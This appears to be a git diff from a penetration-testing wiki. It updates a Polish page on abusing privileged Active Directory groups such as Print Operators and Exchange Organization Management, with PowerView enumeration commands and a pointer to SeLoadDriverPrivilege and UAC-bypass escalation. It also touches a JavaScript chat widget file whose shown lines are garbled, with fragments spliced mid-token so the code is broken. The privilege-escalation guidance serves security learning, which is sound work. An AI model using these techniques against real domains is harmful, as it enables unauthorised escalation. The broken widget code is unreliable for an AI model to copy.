Note: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualizacjach systemu Windows.
|
||||
Uwaga: Hard link exploitation zostało złagodzone w ostatnich aktualizacjach Windows.
|
||||
|
||||
## Zarządzanie Organizacją
|
||||
## Group Policy Creators Owners
|
||||
|
||||
W środowiskach, w których zainstalowany jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma znaczące uprawnienia. Grupa ta ma prawo do **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień.
|
||||
Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować Group Policies do użytkowników lub grup ani edytować istniejących GPOs.
|
||||
|
||||
### Wykorzystanie Uprawnień i Komendy
|
||||
## Organization Management
|
||||
|
||||
#### Operatorzy Drukarek
|
||||
W środowiskach, gdzie wdrożony jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma istotne uprawnienia. Grupa ta ma przywilej **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** oraz posiada **pełną kontrolę nad jednostką organizacyjną (OU) 'Microsoft Exchange Security Groups'**. Ta kontrola obejmuje grupę **`Exchange Windows Permissions`**, którą można wykorzystać do eskalacji uprawnień.
|
||||
|
||||
Członkowie grupy **Print Operators** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im na **lokalne logowanie się do kontrolera domeny**, jego wyłączanie oraz zarządzanie drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC).
|
||||
### Wykorzystywanie uprawnień i polecenia
|
||||
|
||||
Aby wylistować członków tej grupy, używa się następującej komendy PowerShell:
|
||||
#### Print Operators
|
||||
|
||||
Członkowie grupy **Print Operators** posiadają kilka przywilejów, w tym **`SeLoadDriverPrivilege`**, który pozwala im **zalogować się lokalnie do Domain Controller**, wyłączyć go oraz zarządzać drukarkami. Aby wykorzystać te przywileje, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczny w niepodwyższonym kontekście, konieczne jest obejście User Account Control (UAC).
|
||||
|
||||
Aby wyświetlić członków tej grupy, użyj następującego polecenia PowerShell:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||
```
|
||||
Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa.
|
||||
Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy zapoznać się ze specjalistycznymi źródłami dotyczącymi bezpieczeństwa.
|
||||
|
||||
#### Użytkownicy pulpitu zdalnego
|
||||
|
||||
Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu pulpitu zdalnego (RDP). Aby wylistować tych członków, dostępne są polecenia PowerShell:
|
||||
Członkom tej grupy przyznano dostęp do komputerów za pomocą Remote Desktop Protocol (RDP). Aby wyświetlić członków tej grupy, dostępne są polecenia PowerShell:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
```
|
||||
Dalsze informacje na temat wykorzystywania RDP można znaleźć w dedykowanych zasobach pentestingowych.
|
||||
Dalsze informacje dotyczące exploiting RDP można znaleźć w dedykowanych pentesting resources.
|
||||
|
||||
#### Użytkownicy zdalnego zarządzania
|
||||
|
||||
Członkowie mogą uzyskiwać dostęp do komputerów za pomocą **Windows Remote Management (WinRM)**. Wykrywanie tych członków osiąga się poprzez:
|
||||
Członkowie mogą uzyskiwać dostęp do komputerów przez **Windows Remote Management (WinRM)**. Enumeracja tych członków jest przeprowadzana za pomocą:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
Aby uzyskać informacje na temat technik eksploatacji związanych z **WinRM**, należy skonsultować się z odpowiednią dokumentacją.
|
||||
W przypadku technik eksploatacji związanych z **WinRM** należy zapoznać się z odpowiednią dokumentacją.
|
||||
|
||||
#### Operatorzy serwera
|
||||
|
||||
Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia:
|
||||
Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia i przywracania kopii zapasowych, zmiany czasu systemowego oraz wyłączania systemu. Aby wyenumerować członków, użyj podanego polecenia:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
```
|
||||
## References <a href="#references" id="references"></a>
|
||||
## Źródła <a href="#references" id="references"></a>
|
||||
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
* ❶ Markdown rendering + sanitised (same as before)
|
||||
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
@ -13,7 +16,20 @@
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||
<div id="ht-ai-header">
|
||||
<strong>HackTricks AI Chat</strong>
|
||||
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||
<div class="ht-actions">
|
||||
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||
<span id="ht-ai-close" title="Close">✖</span>
|
||||
</div>
|
||||
</div>
|
||||
<div id="ht-ai-chat"></div>
|
||||
<div id="ht-ai-input">
|
||||
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||
<button id="ht-ai-send">Send</button>
|
||||
</div>`;tag), { style: css });
|
||||
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
@ -111,7 +127,7 @@
|
||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||
const MAX_QUESTION = 500; // question char limit
|
||||
const MIN_W = 250; // ← resize limits →
|
||||
const MAX_W = 600;
|
||||
const MAX_W = 800;
|
||||
const DEF_W = 350; // default width (if nothing saved)
|
||||
const TOOLTIP_TEXT =
|
||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||
@ -345,8 +361,9 @@
|
||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||
#ht-ai-panel.open{transform:translateX(0)}
|
||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||
#ht-ai-header strong{flex-shrink:0}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||
@ -367,8 +384,10 @@
|
||||
::selection{background:#ffeb3b;color:#000}
|
||||
::-moz-selection{background:#ffeb3b;color:#000}
|
||||
/* NEW: resizer handle */
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||
const s = document.createElement("style");
|
||||
s.id = "ht-ai-style";
|
||||
s.textContent = css;
|
||||
@ -432,24 +451,43 @@
|
||||
|
||||
const onMove = (e) => {
|
||||
if (!dragging) return;
|
||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
||||
e.preventDefault();
|
||||
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||
let newW = startW + dx;
|
||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||
panel.style.width = newW + "px";
|
||||
};
|
||||
|
||||
const onUp = () => {
|
||||
if (!dragging) return;
|
||||
dragging = false;
|
||||
handle.style.background = "";
|
||||
document.body.style.userSelect = "";
|
||||
document.body.style.cursor = "";
|
||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||
document.removeEventListener("mousemove", onMove);
|
||||
document.removeEventListener("mouseup", onUp);
|
||||
document.removeEventListener("touchmove", onMove);
|
||||
document.removeEventListener("touchend", onUp);
|
||||
};
|
||||
handle.addEventListener("mousedown", (e) => {
|
||||
|
||||
const onStart = (e) => {
|
||||
e.preventDefault();
|
||||
dragging = true;
|
||||
startX = e.clientX;
|
||||
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||
handle.style.background = "rgba(255,255,255,.25)";
|
||||
document.body.style.userSelect = "none";
|
||||
document.body.style.cursor = "ew-resize";
|
||||
|
||||
document.addEventListener("mousemove", onMove);
|
||||
document.addEventListener("mouseup", onUp);
|
||||
});
|
||||
document.addEventListener("touchmove", onMove, { passive: false });
|
||||
document.addEventListener("touchend", onUp);
|
||||
};
|
||||
|
||||
handle.addEventListener("mousedown", onStart);
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
Loading…
x
Reference in New Issue
Block a user